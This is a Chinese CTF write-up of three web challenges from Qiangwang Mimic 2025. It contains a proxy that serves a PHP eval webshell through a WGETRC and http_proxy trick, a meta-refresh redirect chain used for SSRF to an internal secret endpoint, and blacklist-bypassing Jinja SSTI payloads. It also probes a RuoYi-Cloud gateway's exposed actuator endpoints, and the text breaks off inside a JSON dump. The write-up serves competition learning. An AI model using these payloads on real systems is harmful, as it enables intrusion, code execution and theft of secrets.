强网拟态2025 wp&复现
强网拟态 2025 wp&复现
代码审计太烂了,看了一天下来头昏脑胀
smallcode|SV
--content-disposition 参数会使从远程服务器上下载的文件名与服务器保持一致
但是控制不了 url,没办法下载
可以往 1.txt 里写入配置文件,通过 WGETRC 环境变量读取
用 http_proxy 设置代理,然后 vps 上开个代理服务来返回 webshell
# proxy.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class ProxyHandler(BaseHTTPRequestHandler):
def do_GET(self):
print(f"Received request: {self.command} {self.path}")
self.send_response(200)
self.send_header("Content-Disposition", 'attachment; filename="xn1.php"')
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"<?php eval($_POST['cmd']); ?>")
def do_HEAD(self):
self.send_response(200)
self.end_headers()
HTTPServer(("0.0.0.0", 9998), ProxyHandler).serve_forever()
需要配合 output_document 保存文件
from base64 import b64encode
import requests
url = "http://web-fdc5eb47bf.challenge.xctf.org.cn/"
session = requests.session()
proxy = {"http" : "http://127.0.0.1:9002"}
context = """
http_proxy = http://ip:9998
output_document = ./xn1.php
"""
data = {
"context" : b64encode(context.encode()).decode(),
"env" : "WGETRC=./1.txt"
}
session.post(url,data=data,proxies=proxy)
蚁剑连接,suid 提权

safesecret|STUCK
from flask import Flask, request, jsonify, Response, abort, render_template_string, session
import requests, re
from urllib.parse import urljoin, urlparse
app = Flask(__name__)
MAX_TOTAL_STEPS = 30
ERROR_COUNT = 6
META_REFRESH_RE = re.compile(
r'<meta\s+http-equiv=["\']refresh["\']\s+content=["\']\s*\d+\s*;\s*url=([^"\']+)["\']',
re.IGNORECASE
)
def read(f): return open(f).read()
SECRET = read("/secret").strip()
app.secret_key = "a_test_secret"
def sset(key, value):
session[key] = value
return ""
def sget(key, default=None):
return session.get(key, default)
app.jinja_env.globals.update(sget=sget)
app.jinja_env.globals.update(sset=sset)
@app.route("/_internal/secret")
def internal_flag():
if request.remote_addr not in ("127.0.0.1", "::1"):
abort(403)
body = f'OK Secret: {SECRET}'
return Response(body, mimetype="application/json")
@app.route("/")
def index():
return "welcome"
def _next_by_refresh_header(r, current_url):
refresh = r.headers.get("Refresh")
if not refresh:
return None
try:
part = refresh.split(";", 1)[1]
k, v = part.split("=", 1)
if k.strip().lower() == "url":
return urljoin(current_url, v.strip())
except Exception:
return None
def _next_by_meta_refresh(r, current_url):
m = META_REFRESH_RE.search(r.text[:5000])
if m:
return urljoin(current_url, m.group(1).strip())
return None
def _next_by_authlike_header(r, current_url):
if r.status_code in (401, 407, 429):
nxt = r.headers.get("X-Next")
if nxt:
return urljoin(current_url, nxt)
return None
def my_fetch(url):
session = requests.Session()
current_url = url
count_redirect = 0
history = []
last_resp = None
while count_redirect < MAX_TOTAL_STEPS:
print(count_redirect)
try:
r = session.get(current_url, allow_redirects=False, timeout=5)
print(r.text)
except Exception as e:
return history, None, f"Upstream request failed: {e}"
last_resp = r
history.append({
"url": current_url,
"status": r.status_code,
"headers": dict(r.headers),
"body_preview": r.text[:800]
})
nxt = _next_by_refresh_header(r, current_url)
if nxt:
current_url = nxt
count_redirect += 1
continue
nxt = _next_by_meta_refresh(r, current_url)
if nxt:
current_url = nxt
count_redirect += 1
continue
nxt = _next_by_authlike_header(r, current_url)
if nxt:
current_url = nxt
count_redirect += 1
continue
break
return history, last_resp, None
@app.route("/fetch")
def fetch():
target = request.args.get("url")
if not target:
return jsonify({"error": "no url"}), 400
history, last_resp, err = my_fetch(target)
if err:
return jsonify({"error": err}), 502
if not last_resp:
return jsonify({"error": "no response"}), 502
walked_steps = len(history) - 1
try:
if "application/json" in (last_resp.headers.get("Content-Type") or "").lower():
_ = last_resp.json()
else:
if "MUST_HAVE_FIELD" not in last_resp.text:
raise ValueError("JSON schema mismatch")
return jsonify({"ok": True, "len": len(last_resp.text)})
except Exception as parse_err:
if walked_steps >= ERROR_COUNT:
raw = []
raw.append(last_resp.text[:5000])
return Response("\n".join(raw), mimetype="text/plain", status=500)
else:
return jsonify({"error": "Invalid JSON"}), 500
@app.route("/login")
def login():
username = request.args.get("username")
secret = request.args.get("secret", "")
blacklist = ["config", "_", "read", "{{"]
if secret != SECRET:
return ("forbidden", 403)
if len(username) > 47:
return ("username too long", 400)
if any([n in username.lower() for n in blacklist]):
return ("forbidden", 403)
sset('username', username)
rendered = render_template_string("Welcome: " + username)
return rendered
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
应该是要读 secret,需要 ssrf
ssrf 点在/fetch,用的是自定义的 fetch 方法
def my_fetch(url):
session = requests.Session()
current_url = url
count_redirect = 0
history = []
last_resp = None
while count_redirect < MAX_TOTAL_STEPS:# 最多30次跳转
print(count_redirect)
try:
r = session.get(current_url, allow_redirects=False, timeout=5)# get但是不能302
print(r.text)
except Exception as e:
return history, None, f"Upstream request failed: {e}"
last_resp = r
history.append({ # 记录数据
"url": current_url,
"status": r.status_code,
"headers": dict(r.headers),
"body_preview": r.text[:800]
})
# 多次跳转逻辑
nxt = _next_by_refresh_header(r, current_url) # 根据Refresh头
if nxt:
current_url = nxt
count_redirect += 1
continue
nxt = _next_by_meta_refresh(r, current_url) # 自定义正则
if nxt:
current_url = nxt
count_redirect += 1
continue
nxt = _next_by_authlike_header(r, current_url) # 自定义X-Next头,只有401 407 429会走这里
if nxt:
current_url = nxt
count_redirect += 1
continue
break
return history, last_resp, None
然后要检查最终返回格式为 json 或者"MUST_HAVE_FIELD"?这里没看懂
最后就是 6 次以上跳转就返回请求明文
拿到 secret 之后就可以在 login 路由打 ssti
按这个意思是需要利用规则构造一个大于六次的重定向链
那直接打六次 meta 就好了啊
# attacker-server.py
from flask import Flask, request
app = Flask(__name__)
@app.route('/step<int:n>')
def step(n):
if n < 6:
next_url = f"/step{n+1}"
else:
next_url = "http://127.0.0.1:5000/_internal/secret"
return f'<meta http-equiv="refresh" content="0;url={next_url}">'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9998)

Secret: 1140457d-a0b5-4e6d-a423-5a676e61992a
最后是这个 ssti
@app.route("/login")
def login():
username = request.args.get("username")
secret = request.args.get("secret", "")
blacklist = ["config", "_", "read", "{{"]
if secret != SECRET:
return ("forbidden", 403)
if len(username) > 47:
return ("username too long", 400)
if any([n in username.lower() for n in blacklist]):
return ("forbidden", 403)
sset('username', username)
rendered = render_template_string("Welcome: " + username)
return rendered
有一个 47 长度的限制比较棘手
{%lipsum[request.args.b]['os'][request.args.a]%}
48个字符,差一位啊 而且没有print执行这个会500
这个有没有说法
def sset(key, value):
session[key] = value
return ""
sset('username', username)
复现:
其实最后已经找到关键的位置了,但是太晚了直接去歇了
首先搜索短字符 ssti 可以发现一种存储的方法
{{config.update(c=config.update)}}
{{config.update(g="__globals__")}}
{{config.c(f=lipsum[config.g])}}
{{config.c(o=config.f.os)}}
{{config.c(p=config.o.popen)}}
{{config.p("cat /f*").read()}}
这种打法的本质是使用 dict 的 update 方法
但是这里其实是 ban 掉 config 的
无妨,我们注意到本题中定义了两个函数
def sset(key, value):
session[key] = value
return ""
def sget(key, default=None):
return session.get(key, default)
app.jinja_env.globals.update(sget=sget)
app.jinja_env.globals.update(sset=sset)
session 也是字典,不但具有类似的功能,而且函数名还很短,还注册进了 app.jinja_env.globals,怎么会这么巧!
所以思路就很明确了,用同样的方法打即可,需要注意的是 session 不能存对象,所以只能对长字符串替换
{%print(sset('g',request.args.a))%}&a=__globals__
{%print(sset[sget('g')])%}
可以发现 read 方法,字符串拼接绕过
{%print(sset('p',request.args.a))%}&a=/flag
{%print(sset[sget('g')]['re''ad'](sget('p')))%}
ezcloud|STUCK
按题目意思应该是个云服务,可以扫出很多路径

其中/system/都返回的是服务不存在
39B 这些返回的是令牌不能为空
[{"name":"ruoyi-gen","url":"/code/v2/api-docs","swaggerVersion":"2.0","location":"/code/v2/api-docs"},{"name":"ruoyi-job","url":"/schedule/v2/api-docs","swaggerVersion":"2.0","location":"/schedule/v2/api-docs"},{"name":"ruoyi-system","url":"/system/v2/api-docs","swaggerVersion":"2.0","location":"/system/v2/api-docs"},{"name":"ruoyi-file","url":"/file/v2/api-docs","swaggerVersion":"2.0","location":"/file/v2/api-docs"}]
有 ruoyi 关键字,可能是 RuoYi-Cloud
但是翻了一下是没有 ui 面板的,上面这些 api-docs 都访问不到
下面关注一下/actuator/的接口
{"activeProfiles":["dev"],"propertySources":[{"name":"server.ports","properties":{"local.server.port":{"value":8080}}},{"name":"bootstrapProperties-ruoyi-gateway-dev.yml,DEFAULT_GROUP","properties":{"spring.redis.host":{"value":"127.0.0.1"},"spring.redis.port":{"value":6379},"spring.redis.password":{"value":"******"},"spring.cloud.gateway.discovery.locator.lowerCaseServiceId":{"value":true},"spring.cloud.gateway.discovery.locator.enabled":{"value":true},"spring.cloud.gateway.routes[0].id":{"value":"ruoyi-auth"},"spring.cloud.gateway.routes[0].uri":{"value":"lb://ruoyi-auth"},"spring.cloud.gateway.routes[0].predicates[0]":{"value":"Path=/auth/**"},"spring.cloud.gateway.routes[0].filters[0]":{"value":"CacheRequestFilter"},"spring.cloud.gateway.routes[0].filters[1]":{"value":"ValidateCodeFilter"},"spring.cloud.gateway.routes[0].filters[2]":{"value":"StripPrefix=1"},"spring.cloud.gateway.routes[1].id":{"value":"ruoyi-gen"},"spring.cloud.gateway.routes[1].uri":{"value":"lb://ruoyi-gen"},"spring.cloud.gateway.routes[1].predicates[0]":{"value":"Path=/code/**"},"spring.cloud.gateway.routes[1].filters[0]":{"value":"StripPrefix=1"},"spring.cloud.gateway.routes[2].id":{"value":"ruoyi-job"},"spring.cloud.gateway.routes[2].uri":{"value":"lb://ruoyi-job"},"spring.cloud.gateway.routes[2].predicates[0]":{"value":"Path=/schedule/**"},"spring.cloud.gateway.routes[2].filters[0]":{"value":"StripPrefix=1"},"spring.cloud.gateway.routes[3].id":{"value":"ruoyi-system"},"spring.cloud.gateway.routes[3].uri":{"value":"lb://ruoyi-system"},"spring.cloud.gateway.routes[3].predicates[0]":{"value":"Path=/system/**"},"spring.cloud.gateway.routes[3].filters[0]":{"value":"StripPrefix=1"},"spring.cloud.gateway.routes[4].id":{"value":"ruoyi-file"},"spring.cloud.gateway.routes[4].uri":{"value":"lb://ruoyi-file"},"spring.cloud.gateway.routes[4].predicates[0]":{"value":"Path=/file/**"},"spring.cloud.gateway.routes[4].filters[0]":{"value":"StripPrefix=1"},"security.captcha.enabled":{"value":false},"security.captcha.type":{"value":"math"},"security.xss.enabled":{"value":true},"security.xss.excludeUrls[0]":{"value":"/system/notice"},"security.ignore.whites[0]":{"value":"/auth/logout"},"security.ignore.whites[1]":{"value":"/auth/login"},"security.ignore.whites[2]":{"value":"/auth/register"},"security.ignore.whites[3]":{"value":"/*/v2/api-docs"},"security.ignore.whites[4]":{"value":"/csrf"},"security.ignore.whites[5]":{"value":"/system/**"}}},{"name":"bootstrapProperties-ruoyi-gateway.yml,DEFAULT_GROUP","properties":{}},{"name":"bootstrapProperties-ruoyi-gateway,DEFAULT_GROUP","properties":{}},{"name":"bootstrapProperties-application-dev.yml,DEFAULT_GROUP","properties":{"spring.autoconfigure.exclude":{"value":"com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure"},"spring.mvc.pathmatch.matching-strategy":{"value":"ant_path_matcher"},"feign.sentinel.enabled":{"value":true},"feign.okhttp.enabled":{"value":true},"feign.httpclient.enabled":{"value":false},"feign.client.config.default.connectTimeout":{"value":10000},"feign.client.config.default.readTimeout":{"value":10000},"feign.compression.request.enabled":{"value":true},"feign.compression.response.enabled":{"value":true},"management.endpoints.web.exposure.include":{"value":"*"},"management.endpoints.web.exposure.exclude":{"value":"heapdump,threaddump"}}},{"name":"gateway-properties","properties":{"spring.webflux.hiddenmethod.filter.enabled":{"value":"false"}}},{"name":"systemProperties","properties":{"java.runtime.name":{"value":"OpenJDK Runtime Environment"},"java.protocol.handler.pkgs":{"value":"org.springframework.boot.loader"},"sun.boot.library.path":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64"},"java.vm.version":{"value":"25.452-b09"},"java.vm.vendor":{"value":"Private Build"},"java.vendor.url":{"value":"http://java.oracle.com/"},"path.separator":{"value":":"},"csp.sentinel.app.type":{"value":"11"},"java.vm.name":{"value":"OpenJDK 64-Bit Server VM"},"file.encoding.pkg":{"value":"sun.io"},"user.country":{"value":"US"},"sun.java.launcher":{"value":"SUN_STANDARD"},"sun.os.patch.level":{"value":"unknown"},"PID":{"value":"882"},"java.vm.specification.name":{"value":"Java Virtual Machine Specification"},"user.dir":{"value":"/app"},"java.runtime.version":{"value":"1.8.0_452-8u452-ga~us1-0ubuntu1~24.04-b09"},"JM.LOG.PATH":{"value":"/root/logs"},"java.awt.graphicsenv":{"value":"sun.awt.X11GraphicsEnvironment"},"csp.sentinel.api.port":{"value":"8719"},"java.endorsed.dirs":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/endorsed"},"os.arch":{"value":"amd64"},"CONSOLE_LOG_CHARSET":{"value":"UTF-8"},"java.io.tmpdir":{"value":"/tmp"},"line.separator":{"value":"\n"},"java.vm.specification.vendor":{"value":"Oracle Corporation"},"os.name":{"value":"Linux"},"csp.sentinel.charset":{"value":"UTF-8"},"csp.sentinel.flow.cold.factor":{"value":"3"},"FILE_LOG_CHARSET":{"value":"UTF-8"},"sun.jnu.encoding":{"value":"ANSI_X3.4-1968"},"spring.beaninfo.ignore":{"value":"true"},"java.library.path":{"value":"/usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib"},"sun.nio.ch.bugLevel":{"value":""},"csp.sentinel.app.name":{"value":"ruoyi-gateway"},"java.specification.name":{"value":"Java Platform API Specification"},"java.class.version":{"value":"52.0"},"sun.management.compiler":{"value":"HotSpot 64-Bit Tiered Compilers"},"os.version":{"value":"4.18.0-240.el8.x86_64"},"user.home":{"value":"/root"},"user.timezone":{"value":"GMT"},"java.awt.printerjob":{"value":"sun.print.PSPrinterJob"},"file.encoding":{"value":"utf-8"},"java.specification.version":{"value":"1.8"},"java.class.path":{"value":"/app/ruoyi-gateway.jar"},"user.name":{"value":"root"},"java.vm.specification.version":{"value":"1.8"},"sun.java.command":{"value":"******"},"java.home":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre"},"sun.arch.data.model":{"value":"64"},"user.language":{"value":"en"},"java.specification.vendor":{"value":"Oracle Corporation"},"awt.toolkit":{"value":"sun.awt.X11.XToolkit"},"java.vm.info":{"value":"mixed mode"},"java.version":{"value":"1.8.0_452"},"java.ext.dirs":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext:/usr/java/packages/lib/ext"},"csp.sentinel.dashboard.server":{"value":"127.0.0.1:8718"},"sun.boot.class.path":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/resources.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/rt.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jsse.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jce.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/charsets.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/jfr.jar:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes"},"java.awt.headless":{"value":"true"},"java.vendor":{"value":"Private Build"},"java.specification.maintenance.version":{"value":"6"},"file.separator":{"value":"/"},"java.vendor.url.bug":{"value":"http://bugreport.sun.com/bugreport/"},"sun.io.unicode.encoding":{"value":"UnicodeLittle"},"sun.cpu.endian":{"value":"little"},"sun.cpu.isalist":{"value":""}}},{"name":"systemEnvironment","properties":{"PATH":{"value":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","origin":"System Environment Property \"PATH\""},"DEBIAN_FRONTEND":{"value":"noninteractive","origin":"System Environment Property \"DEBIAN_FRONTEND\""},"HOSTNAME":{"value":"f3343a03ec1f","origin":"System Environment Property \"HOSTNAME\""},"TERM":{"value":"xterm","origin":"System Environment Property \"TERM\""},"PWD":{"value":"/app","origin":"System Environment Property \"PWD\""},"SHLVL":{"value":"1","origin":"System Environment Property \"SHLVL\""},"HOME":{"value":"/root","origin":"System Environment Property \"HOME\""},"_":{"value":"/usr/bin/java","origin":"System Environment Property \"_\""}}},{"name":"springCloudClientHostInfo","properties":{"spring.cloud.client.hostname":{"value":"f3343a03ec1f"},"spring.cloud.client.ip-address":{"value":"172.26.210.128"}}},{"name":"Config resource 'class path resource [bootstrap.yml]' via location 'optional:classpath:/'","properties":{"server.port":{"value":8080,"origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 3:9"},"spring.application.name":{"value":"ruoyi-gateway","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 9:11"},"spring.profiles.active":{"value":"dev","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 12:13"},"spring.cloud.nacos.discovery.server-addr":{"value":"127.0.0.1:8848","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 17:22"},"spring.cloud.nacos.config.server-addr":{"value":"127.0.0.1:8848","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 20:22"},"spring.cloud.nacos.config.file-extension":{"value":"yml","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 22:25"},"spring.cloud.nacos.config.shared-configs[0]":{"value":"application-dev.yml","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 25:13"},"spring.cloud.sentinel.eager":{"value":true,"origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 28:14"},"spring.cloud.sentinel.transport.dashboard":{"value":"127.0.0.1:8718","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 31:20"},"spring.cloud.sentinel.datasource.ds1.nacos.server-addr":{"value":"127.0.0.1:8848","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 36:26"},"spring.cloud.sentinel.datasource.ds1.nacos.dataId":{"value":"sentinel-ruoyi-gateway","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 37:21"},"spring.cloud.sentinel.datasource.ds1.nacos.groupId":{"value":"DEFAULT_GROUP","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 38:22"},"spring.cloud.sentinel.datasource.ds1.nacos.data-type":{"value":"json","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 39:24"},"spring.cloud.sentinel.datasource.ds1.nacos.rule-type":{"value":"flow","origin":"class path resource [bootstrap.yml] from ruoyi-gateway.jar - 40:24"}}},{"name":"springCloudDefaultProperties","properties":{}},{"name":"defaultProperties","properties":{"spring.cloud.sentinel.filter.enabled":{"value":"false"}}}]}
看到有 redis 服务,然后几个转发到 ruoyi 的服务分别是 /system/ /auth/ /code/ /schedule/ /file/
其它的大概也是泄露一些乱七八糟的,看不明白
可能也是一个框架漏洞
在/actuator/mappings 里是一些路由映射
{
"contexts": {
"ruoyi-gateway-1": {
"mappings": {
"dispatcherHandlers": {
"webHandler": [
{
"predicate": "{GET /actuator/env/{toMatch}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'env-toMatch'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/env/{toMatch}"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/caches, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'caches'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/caches"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/configprops/{prefix}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'configprops-prefix'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/configprops/{prefix}"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/metrics, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'metrics'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/metrics"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{POST /actuator/serviceregistry, consumes [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json], produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'serviceregistry'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.WriteOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;Ljava/util/Map;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
],
"headers": [],
"methods": [
"POST"
],
"params": [],
"patterns": [
"/actuator/serviceregistry"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/features, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'features'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/features"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/nacosdiscovery, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'nacosdiscovery'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/nacosdiscovery"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator root web endpoint",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.WebFluxEndpointHandlerMapping.WebFluxLinksHandler",
"name": "links",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Ljava/lang/Object;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/mappings, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'mappings'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/mappings"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{POST /actuator/loggers/{name}, consumes [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'loggers-name'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.WriteOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;Ljava/util/Map;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
],
"headers": [],
"methods": [
"POST"
],
"params": [],
"patterns": [
"/actuator/loggers/{name}"
],
"produces": []
}
}
},
{
"predicate": "{GET /actuator/caches/{cache}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'caches-cache'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/caches/{cache}"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
"predicate": "{GET /actuator/metrics/{requiredMetricName}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
"handler": "Actuator web endpoint 'metrics-requiredMetricName'",
"details": {
"handlerMethod": {
"className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
"name": "handle",
"descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
},
"handlerFunction": null,
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"GET"
],
"params": [],
"patterns": [
"/actuator/metrics/{requiredMetricName}"
],
"produces": [
{
"mediaType": "application/vnd.spring-boot.actuator.v3+json",
"negated": false
},
{
"mediaType": "application/vnd.spring-boot.actuator.v2+json",
"negated": false
},
{
"mediaType": "application/json",
"negated": false
}
]
}
}
},
{
